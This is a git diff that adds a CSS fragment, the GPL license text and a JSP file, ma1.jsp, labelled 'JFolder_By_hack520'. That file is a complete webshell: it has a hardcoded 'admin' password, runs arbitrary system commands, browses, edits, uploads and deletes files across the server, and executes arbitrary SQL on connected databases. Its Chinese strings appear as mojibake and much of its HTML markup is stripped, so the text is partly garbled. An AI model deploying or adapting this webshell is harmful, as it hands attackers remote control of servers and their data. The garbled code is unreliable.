+tr.mousechecked td {border:1px solid #8C5900;} + +td { font-family:Verdana, Arial, Helvetica, sans-serif; + font-size: 7pt; + color: #FFF5E8; } + +td.message { background-color: #FFFF00; + color: #000000; + text-align:center; + font-weight:bold } +.formular {margin: 1px; background-color:#ffffff; padding: 1em; border:1px solid #000000;} +.formular2 {margin: 1px;} + +A { text-decoration: none; + color: #005073 + } +A:Hover { color : #022F55; + text-decoration : underline; } +BODY { font-family:Verdana, Arial, Helvetica, sans-serif; + font-size: 8pt; + color: #666666; + background-color: #FDE2B8; + } diff --git a/jsp/jspbrowser/gpl.txt b/jsp/jspbrowser/gpl.txt new file mode 100644 index 0000000..78337b6 --- /dev/null +++ b/jsp/jspbrowser/gpl.txt @@ -0,0 +1,222 @@ + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS \ No newline at end of file diff --git a/jsp/ma1.jsp b/jsp/ma1.jsp new file mode 100644 index 0000000..1176511 --- /dev/null +++ b/jsp/ma1.jsp @@ -0,0 +1,1811 @@ +<%@ page contentType="text/html; charset=GBK" %> +<%@ page import="java.io.*"%> +<%@ page import="java.util.Map"%> +<%@ page import="java.util.HashMap"%> +<%@ page import="java.nio.charset.Charset"%> +<%@ page import="java.util.regex.*"%> +<%@ page import="java.sql.*"%> +<%! +private String _password = "admin"; +private String _encodeType = "GB2312"; +private int _sessionOutTime = 20; +private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"}; +private Connection _dbConnection = null; +private Statement _dbStatement = null; +private String _url = null; + +public boolean validate(String password) { +if (password.equals(_password)) { +return true; +} else { +return false; +} +} + +public String HTMLEncode(String str) { +str = str.replaceAll(" ", " "); +str = str.replaceAll("<", "<"); +str = str.replaceAll(">", ">"); +str = str.replaceAll("\r\n", "
    "); + +return str; +} + +public String Unicode2GB(String str) { +String sRet = null; + +try { +sRet = new String(str.getBytes("ISO8859_1"), _encodeType); +} catch (Exception e) { +sRet = str; +} + +return sRet; +} + +public String exeCmd(String cmd) { +Runtime runtime = Runtime.getRuntime(); +Process proc = null; +String retStr = ""; +InputStreamReader insReader = null; +char[] tmpBuffer = new char[1024]; +int nRet = 0; + +try { +proc = runtime.exec(cmd); +insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312")); + +while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) { +retStr += new String(tmpBuffer, 0, nRet); +} + +insReader.close(); +retStr = HTMLEncode(retStr); +} catch (Exception e) { +retStr = "bad command \"" + cmd + "\""; +} finally { +return retStr; +} +} + +public String pathConvert(String path) { +String sRet = path.replace('\\', '/'); +File file = new File(path); + +if (file.getParent() != null) { +if (file.isDirectory()) { +if (! sRet.endsWith("/")) +sRet += "/"; +} +} else { +if (! sRet.endsWith("/")) +sRet += "/"; +} + +return sRet; +} + +public String strCut(String str, int len) { +String sRet; + +len -= 3; + +if (str.getBytes().length <= len) { +sRet = str; +} else { +try { +sRet = (new String(str.getBytes(), 0, len, "GBK")) + "..."; +} catch (Exception e) { +sRet = str; +} +} + +return sRet; +} + +public String listFiles(String path, String curUri) { +File[] files = null; +File curFile = null; +String sRet = null; +int n = 0; +boolean isRoot = path.equals(""); + +path = pathConvert(path); + +try { +if (isRoot) { +files = File.listRoots(); +} else { +try { +curFile = new File(path); +String[] sFiles = curFile.list(); +files = new File[sFiles.length]; + +for (n = 0; n < sFiles.length; n ++) { +files[n] = new File(path + sFiles[n]); +} +} catch (Exception e) { +sRet = "bad path \"" + path + "\""; +} +} + +if (sRet == null) { +sRet = "\n"; +sRet += "\n"; +sRet += "\n"; +sRet += " \n"; + +if (curFile != null) { +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +} + +sRet += "\n"; + +sRet += " \n"; + +for (n = 0; n < files.length; n ++) { +sRet += " \n"; + +if (! isRoot) { +sRet += " \n"; +if (files[n].isDirectory()) { +sRet += " \n"; +} else { +sRet += " \n"; +} + +sRet += " \n"; +sRet += " \n"; +} else { +sRet += " \n"; +} + +sRet += " \n"; +} +sRet += " \n"; +sRet += "
    \n"; +sRet += "  ϼĿ¼ "; +sRet += "Ŀ¼ "; +sRet += "½ļ "; +sRet += "ɾ "; +sRet += " "; +sRet += " "; +sRet += "ϴļ\n"; +sRet += " \n"; +sRet += "
    <" + strCut(files[n].getName(), 50) + ">" + strCut(files[n].getName(), 50) + "" + (files[n].isDirectory() ? "<dir>" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<edit>" : "") + "" + files[n].length() + "" + pathConvert(files[n].getPath()) + "
    \n"; +} +} catch (SecurityException e) { +sRet = "security violation, no privilege."; +} + +return sRet; +} + +public boolean isTextFile(String extName) { +int i; +boolean bRet = false; + +if (! extName.equals("")) { +for (i = 0; i < _textFileTypes.length; i ++) { +if (extName.equals(_textFileTypes[i])) { +bRet = true; +break; +} +} +} else { +bRet = true; +} + +return bRet; +} + +public String getExtName(String fileName) { +String sRet = ""; +int nLastDotPos; + +fileName = pathConvert(fileName); + +nLastDotPos = fileName.lastIndexOf("."); + +if (nLastDotPos == -1) { +sRet = ""; +} else { +sRet = fileName.substring(nLastDotPos + 1); +} + +return sRet; +} + +public String browseFile(String path) { +String sRet = ""; +File file = null; +FileReader fileReader = null; + +path = pathConvert(path); + +try { +file = new File(path); +fileReader = new FileReader(file); +String fileString = ""; +char[] chBuffer = new char[1024]; +int ret; + +sRet = "\n"; + +} catch (IOException e) { +sRet += "\n"; +} + +return sRet; +} + +public String openFile(String path, String curUri) { +String sRet = ""; +boolean canOpen = false; +int nLastDotPos = path.lastIndexOf("."); +String extName = ""; +String fileString = null; +File curFile = null; + +path = pathConvert(path); + +if (nLastDotPos == -1) { +canOpen = true; +} else { +extName = path.substring(nLastDotPos + 1); +canOpen = isTextFile(extName); +} + +if (canOpen) { +try { +fileString = ""; +curFile = new File(path); +FileReader fileReader = new FileReader(curFile); +char[] chBuffer = new char[1024]; +int nRet; + +while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) { +fileString += new String(chBuffer, 0, nRet); +} + +fileReader.close(); +} catch (IOException e) { +fileString = null; +sRet = "ܴļ\"" + path + "\""; +} catch (SecurityException e) { +fileString = null; +sRet = "ȫ⣬ûȨִиò"; +} +} else { +sRet = "file \"" + path + "\" is not a text file, can't be opened in text mode"; +} + +if (fileString != null) { +sRet += "\n"; +sRet += "\n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += " \n"; +sRet += "
    [ϼĿ¼]
    \n"; +sRet += " \n"; +sRet += "
     
    \n"; +} + +return sRet; +} + +public String saveFile(String path, String curUri, String fileContent) { +String sRet = ""; +File file = null; + +path = pathConvert(path); + +try { +file = new File(path); + +if (! file.canWrite()) { +sRet = "ļд"; +} else { +FileWriter fileWriter = new FileWriter(file); +fileWriter.write(fileContent); + +fileWriter.close(); +sRet = "ļɹڷأԺ򡭡\n"; +sRet += "\n"; +} +} catch (IOException e) { +sRet = "ļʧ"; +} catch (SecurityException e) { +sRet = "ȫ⣬ûȨִиò"; +} + +return sRet; +} + +public String createFolder(String path, String curUri, String folderName) { +String sRet = ""; +File folder = null; + +path = pathConvert(path); + +try { +folder = new File(path + folderName); + +if (folder.exists() && folder.isDirectory()) { +sRet = "\"" + path + folderName + "\"Ŀ¼Ѿ"; +} else { +if (folder.mkdir()) { +sRet = "ɹĿ¼\"" + pathConvert(folder.getPath()) + "\"ڷأԺ򡭡\n"; +sRet += ""; +} else { +sRet = "Ŀ¼\"" + folderName + "\"ʧ"; +} +} +} catch (SecurityException e) { +sRet = "ȫ⣬ûȨִиò"; +} + +return sRet; +} + +public String createFile(String path, String curUri, String fileName) { +String sRet = ""; +File file = null; + +path = pathConvert(path); + +try { +file = new File(path + fileName); + +if (file.createNewFile()) { +sRet = ""; +} else { +sRet = "\"" + path + fileName + "\"ļѾ"; +} +} catch (SecurityException e) { +sRet = "ȫ⣬ûȨִиò"; +} catch (IOException e) { +sRet = "ļ\"" + path + fileName + "\"ʧ"; +} + +return sRet; +} + +public String deleteFile(String path, String curUri, String[] files2Delete) { +String sRet = ""; +File tmpFile = null; + +try { +for (int i = 0; i < files2Delete.length; i ++) { +tmpFile = new File(files2Delete[i]); +if (! tmpFile.delete()) { +sRet += "ɾ\"" + files2Delete[i] + "\"ʧ
    \n"; +} +} + +if (sRet.equals("")) { +sRet = "ɾɹڷأԺ򡭡\n"; +sRet += ""; +} +} catch (SecurityException e) { +sRet = "ȫ⣬ûȨִиò\n"; +} + +return sRet; +} + +public String saveAs(String path, String curUri, String fileContent) { +String sRet = ""; +File file = null; +FileWriter fileWriter = null; + +try { +file = new File(path); + +if (file.createNewFile()) { +fileWriter = new FileWriter(file); +fileWriter.write(fileContent); +fileWriter.close(); + +sRet = ""; +} else { +sRet = "ļ\"" + path + "\"Ѿ"; +} +} catch (IOException e) { +sRet = "ļ\"" + path + "\"ʧ"; +} + +return sRet; +} + + +public String uploadFile(ServletRequest request, String path, String curUri) { +String sRet = ""; +File file = null; +InputStream in = null; + +path = pathConvert(path); + +try { +in = request.getInputStream(); + +byte[] inBytes = new byte[request.getContentLength()]; +int nBytes; +int start = 0; +int end = 0; +int size = 1024; +String token = null; +String filePath = null; + +// +// һֽ +// +while ((nBytes = in.read(inBytes, start, size)) != -1) { +start += nBytes; +} + +in.close(); +// +// ֽеõļָ +// +int i = 0; +byte[] seperator; + +while (inBytes[i] != 13) { +i ++; +} + +seperator = new byte[i]; + +for (i = 0; i < seperator.length; i ++) { +seperator[i] = inBytes[i]; +} + +// +// õHeader +// +String dataHeader = null; +i += 3; +start = i; +while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) { +i ++; +} +end = i - 1; +dataHeader = new String(inBytes, start, end - start + 1); + +// +// õļ +// +token = "filename=\""; +start = dataHeader.indexOf(token) + token.length(); +token = "\""; +end = dataHeader.indexOf(token, start) - 1; +filePath = dataHeader.substring(start, end + 1); +filePath = pathConvert(filePath); +String fileName = filePath.substring(filePath.lastIndexOf("/") + 1); + +// +// õļݿʼλ +// +i += 4; +start = i; + +/* +boolean found = true; +byte[] tmp = new byte[seperator.length]; +while (i <= inBytes.length - 1 - seperator.length) { + +for (int j = i; j < i + seperator.length; j ++) { +if (seperator[j - i] != inBytes[j]) { +found = false; +break; +} else +tmp[j - i] = inBytes[j]; +} + +if (found) +break; + +i ++; +}*/ + +// +// ͵İ취 +// +end = inBytes.length - 1 - 2 - seperator.length - 2 - 2; + +// +// Ϊļ +// +File newFile = new File(path + fileName); +newFile.createNewFile(); +FileOutputStream out = new FileOutputStream(newFile); + +//out.write(inBytes, start, end - start + 1); +out.write(inBytes, start, end - start + 1); +out.close(); + +sRet = "\n"; +} catch (IOException e) { +sRet = "\n"; +} + +sRet += ""; +return sRet; +} + +public boolean fileCopy(String srcPath, String dstPath) { +boolean bRet = true; + +try { +FileInputStream in = new FileInputStream(new File(srcPath)); +FileOutputStream out = new FileOutputStream(new File(dstPath)); +byte[] buffer = new byte[1024]; +int nBytes; + + +while ((nBytes = in.read(buffer, 0, 1024)) != -1) { +out.write(buffer, 0, nBytes); +} + +in.close(); +out.close(); +} catch (IOException e) { +bRet = false; +} + +return bRet; +} + +public String getFileNameByPath(String path) { +String sRet = ""; + +path = pathConvert(path); + +if (path.lastIndexOf("/") != -1) { +sRet = path.substring(path.lastIndexOf("/") + 1); +} else { +sRet = path; +} + +return sRet; +} + +public String copyFiles(String path, String curUri, String[] files2Copy, String dstPath) { +String sRet = ""; +int i; + +path = pathConvert(path); +dstPath = pathConvert(dstPath); + +for (i = 0; i < files2Copy.length; i ++) { +if (! fileCopy(files2Copy[i], dstPath + getFileNameByPath(files2Copy[i]))) { +sRet += "ļ\"" + files2Copy[i] + "\"ʧ
    "; +} +} + +if (sRet.equals("")) { +sRet = "ļƳɹڷأԺ򡭡"; +sRet += ""; +} + +return sRet; +} + +public boolean isFileName(String fileName) { +boolean bRet = false; + +Pattern p = Pattern.compile("^[a-zA-Z0-9][\\w\\.]*[\\w]$"); +Matcher m = p.matcher(fileName); + +bRet = m.matches(); + +return bRet; +} + +public String renameFile(String path, String curUri, String file2Rename, String newName) { +String sRet = ""; + +path = pathConvert(path); +file2Rename = pathConvert(file2Rename); + +try { +File file = new File(file2Rename); + +newName = file2Rename.substring(0, file2Rename.lastIndexOf("/") + 1) + newName; +File newFile = new File(newName); + +if (! file.exists()) { +sRet = "ļ\"" + file2Rename + "\""; +} else { +file.renameTo(newFile); +sRet = "ļɹڷأԺ򡭡"; +sRet += ""; +} +} catch (SecurityException e) { +sRet = "ȫ⵼ļ\"" + file2Rename + "\"ʧ"; +} + +return sRet; +} + +public boolean DBInit(String dbType, String dbServer, String dbPort, String dbUsername, String dbPassword, String dbName) { +boolean bRet = true; +String driverName = ""; + +if (dbServer.equals("")) +dbServer = "localhost"; + +try { +if (dbType.equals("sqlserver")) { +driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver"; +if (dbPort.equals("")) +dbPort = "1433"; +_url = "jdbc:microsoft:sqlserver://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; +} else if (dbType.equals("mysql")) { +driverName = "com.mysql.jdbc.Driver"; +if (dbPort.equals("")) +dbPort = "3306"; +_url = "jdbc:mysql://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; +} else if (dbType.equals("odbc")) { +driverName = "sun.jdbc.odbc.JdbcOdbcDriver"; +_url = "jdbc:odbc:dsn=" + dbName + ";User=" + dbUsername + ";Password=" + dbPassword; +} else if (dbType.equals("oracle")) { +driverName = "oracle.jdbc.driver.OracleDriver"; +_url = "jdbc:oracle:thin@" + dbServer + ":" + dbPort + ":" + dbName; +} else if (dbType.equals("db2")) { +driverName = "com.ibm.db2.jdbc.app.DB2Driver"; +_url = "jdbc:db2://" + dbServer + ":" + dbPort + "/" + dbName; +} + +Class.forName(driverName); +} catch (ClassNotFoundException e) { +bRet = false; +} + +return bRet; +} + +public boolean DBConnect(String User, String Password) { +boolean bRet = false; + +if (_url != null) { +try { +_dbConnection = DriverManager.getConnection(_url, User, Password); +_dbStatement = _dbConnection.createStatement(); +bRet = true; +} catch (SQLException e) { +bRet = false; +} +} + +return bRet; +} + +public String DBExecute(String sql) { +String sRet = ""; + +if (_dbConnection == null || _dbStatement == null) { +sRet = "ݿû"; +} else { +try { +if (sql.toLowerCase().substring(0, 6).equals("select")) { +ResultSet rs = _dbStatement.executeQuery(sql); +ResultSetMetaData rsmd = rs.getMetaData(); +int colNum = rsmd.getColumnCount(); +int colType; + +sRet = "sqlִгɹؽ
    \n"; +sRet += "\n"; +sRet += " \n"; +for (int i = 1; i <= colNum; i ++) { +sRet += " \n"; +} +sRet += " \n"; +while (rs.next()) { +sRet += " \n"; +for (int i = 1; i <= colNum; i ++) { +colType = rsmd.getColumnType(i); + +sRet += " \n"; +} +sRet += " \n"; +} +sRet += "
    " + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")
    "; +switch (colType) { +case Types.BIGINT: +sRet += rs.getLong(i); +break; + +case Types.BIT: +sRet += rs.getBoolean(i); +break; + +case Types.BOOLEAN: +sRet += rs.getBoolean(i); +break; + +case Types.CHAR: +sRet += rs.getString(i); +break; + +case Types.DATE: +sRet += rs.getDate(i).toString(); +break; + +case Types.DECIMAL: +sRet += rs.getDouble(i); +break; + +case Types.NUMERIC: +sRet += rs.getDouble(i); +break; + +case Types.REAL: +sRet += rs.getDouble(i); +break; + +case Types.DOUBLE: +sRet += rs.getDouble(i); +break; + +case Types.FLOAT: +sRet += rs.getFloat(i); +break; + +case Types.INTEGER: +sRet += rs.getInt(i); +break; + +case Types.TINYINT: +sRet += rs.getShort(i); +break; + +case Types.VARCHAR: +sRet += rs.getString(i); +break; + +case Types.TIME: +sRet += rs.getTime(i).toString(); +break; + +case Types.DATALINK: +sRet += rs.getTimestamp(i).toString(); +break; +} +sRet += "
    \n"; + +rs.close(); +} else { +if (_dbStatement.execute(sql)) { +sRet = "sqlִгɹ"; +} else { +sRet = "sqlִʧ"; +} +} +} catch (SQLException e) { +sRet = "sqlִʧ"; +} +} + +return sRet; +} + +public void DBRelease() { +try { +if (_dbStatement != null) { +_dbStatement.close(); +_dbStatement = null; +} + +if (_dbConnection != null) { +_dbConnection.close(); +_dbConnection = null; +} +} catch (SQLException e) { + +} +} + +///////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +class JshellConfig { +private String _jshellContent = null; +private String _path = null; + +public JshellConfig(String path) throws JshellConfigException { +_path = path; +read(); +} + +private void read() throws JshellConfigException { +try { +FileReader jshell = new FileReader(new File(_path)); +char[] buffer = new char[1024]; +int nChars; +_jshellContent = ""; + +while ((nChars = jshell.read(buffer, 0, 1024)) != -1) { +_jshellContent += new String(buffer, 0, nChars); +} + +jshell.close(); +} catch (IOException e) { +throw new JshellConfigException("ļʧ"); +} +} + +public void save() throws JshellConfigException { +FileWriter jshell = null; + +try { +jshell = new FileWriter(new File(_path)); +char[] buffer = _jshellContent.toCharArray(); +int start = 0; +int size = 1024; + +for (start = 0; start < buffer.length - 1 - size; start += size) { +jshell.write(buffer, start, size); +} + +jshell.write(buffer, start, buffer.length - 1 - start); +} catch (IOException e) { +new JshellConfigException("дļʧ"); +} finally { +try { +jshell.close(); +} catch (IOException e) { + +} +} +} + +public void setPassword(String password) throws JshellConfigException { +Pattern p = Pattern.compile("\\w+"); +Matcher m = p.matcher(password); + +if (! m.matches()) { +throw new JshellConfigException("벻гĸ»ַ"); +} + +p = Pattern.compile("private\\sString\\s_password\\s=\\s\"" + _password + "\""); +m = p.matcher(_jshellContent); +if (! m.find()) { +throw new JshellConfigException("ѾǷ޸"); +} + +_jshellContent = m.replaceAll("private String _password = \"" + password + "\""); + +//return HTMLEncode(_jshellContent); +} + +public void setEncodeType(String encodeType) throws JshellConfigException { +Pattern p = Pattern.compile("[A-Za-z0-9]+"); +Matcher m = p.matcher(encodeType); + +if (! m.matches()) { +throw new JshellConfigException("ʽֻĸֵ"); +} + +p = Pattern.compile("private\\sString\\s_encodeType\\s=\\s\"" + _encodeType + "\""); +m = p.matcher(_jshellContent); + +if (! m.find()) { +throw new JshellConfigException("ѾǷ޸"); +} + +_jshellContent = m.replaceAll("private String _encodeType = \"" + encodeType + "\""); +//return HTMLEncode(_jshellContent); +} + +public void setSessionTime(String sessionTime) throws JshellConfigException { +Pattern p = Pattern.compile("\\d+"); +Matcher m = p.matcher(sessionTime); + +if (! m.matches()) { +throw new JshellConfigException("sessionʱʱֻ"); +} + +p = Pattern.compile("private\\sint\\s_sessionOutTime\\s=\\s" + _sessionOutTime); +m = p.matcher(_jshellContent); + +if (! m.find()) { +throw new JshellConfigException("ѾǷ޸"); +} + +_jshellContent = m.replaceAll("private int _sessionOutTime = " + sessionTime); +//return HTMLEncode(_jshellContent); +} + +public void setTextFileTypes(String[] textFileTypes) throws JshellConfigException { +Pattern p = Pattern.compile("\\w+"); +Matcher m = null; +int i; +String fileTypes = ""; +String tmpFileTypes = ""; + +for (i = 0; i < textFileTypes.length; i ++) { +m = p.matcher(textFileTypes[i]); + +if (! m.matches()) { +throw new JshellConfigException("չֻĸֺ»ߵ"); +} + +if (i != textFileTypes.length - 1) +fileTypes += "\"" + textFileTypes[i] + "\"" + ", "; +else +fileTypes += "\"" + textFileTypes[i] + "\""; +} + +for (i = 0; i < _textFileTypes.length; i ++) { +if (i != _textFileTypes.length - 1) +tmpFileTypes += "\"" + _textFileTypes[i] + "\"" + ", "; +else +tmpFileTypes += "\"" + _textFileTypes[i] + "\""; +} + +p = Pattern.compile(tmpFileTypes); +m = p.matcher(_jshellContent); + +if (! m.find()) { +throw new JshellConfigException("ļѾǷ޸"); +} + +_jshellContent = m.replaceAll(fileTypes); + +//return HTMLEncode(_jshellContent); +} + +public String getContent() { +return HTMLEncode(_jshellContent); +} +} + +class JshellConfigException extends Exception { +public JshellConfigException(String message) { +super(message); +} +} +%> + + +[FCHK]Сר + + + + +<% +session.setMaxInactiveInterval(_sessionOutTime * 60); + +if (request.getParameter("password") == null && session.getAttribute("password") == null) { +// show the login form +//================================================================================================ +%> +
    + + + + +
    + + + + + + + + + + + + + + + +
     8¼ :::...JFolder_By_hack520
    + + +
    +
    +<% +//================================================================================================ +// end of the login form +} else { +String password = null; + +if (session.getAttribute("password") == null) { +password = (String)request.getParameter("password"); + +if (validate(password) == false) { +out.println("
  • ѽù!
  • "); +out.close(); +return; +} + +session.setAttribute("password", password); +} else { +password = (String)session.getAttribute("password"); +} + +String action = null; + + +if (request.getParameter("action") == null) +action = "main"; +else +action = (String)request.getParameter("action"); + +if (action.equals("exit")) { +session.removeAttribute("password"); +response.sendRedirect(request.getRequestURI()); +out.close(); +return; +} + +// show the main menu +//==================================================================================== +%> + + + + + + + +
    + + +
    +<% +//===================================================================================== +// end of main menu + +if (action.equals("main")) { +// print the system info table +//======================================================================================= +%> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Ϣ
    <%=request.getServerName()%>
    ˿<%=request.getServerPort()%>
    ϵͳ<%=System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch")%>
    ǰû<%=System.getProperty("user.name")%>
    ǰûĿ¼<%=System.getProperty("user.home")%>
    ǰûĿ¼<%=System.getProperty("user.dir")%>
    ·<%=request.getRequestURI()%>
    ·<%=request.getRealPath(request.getServletPath())%>
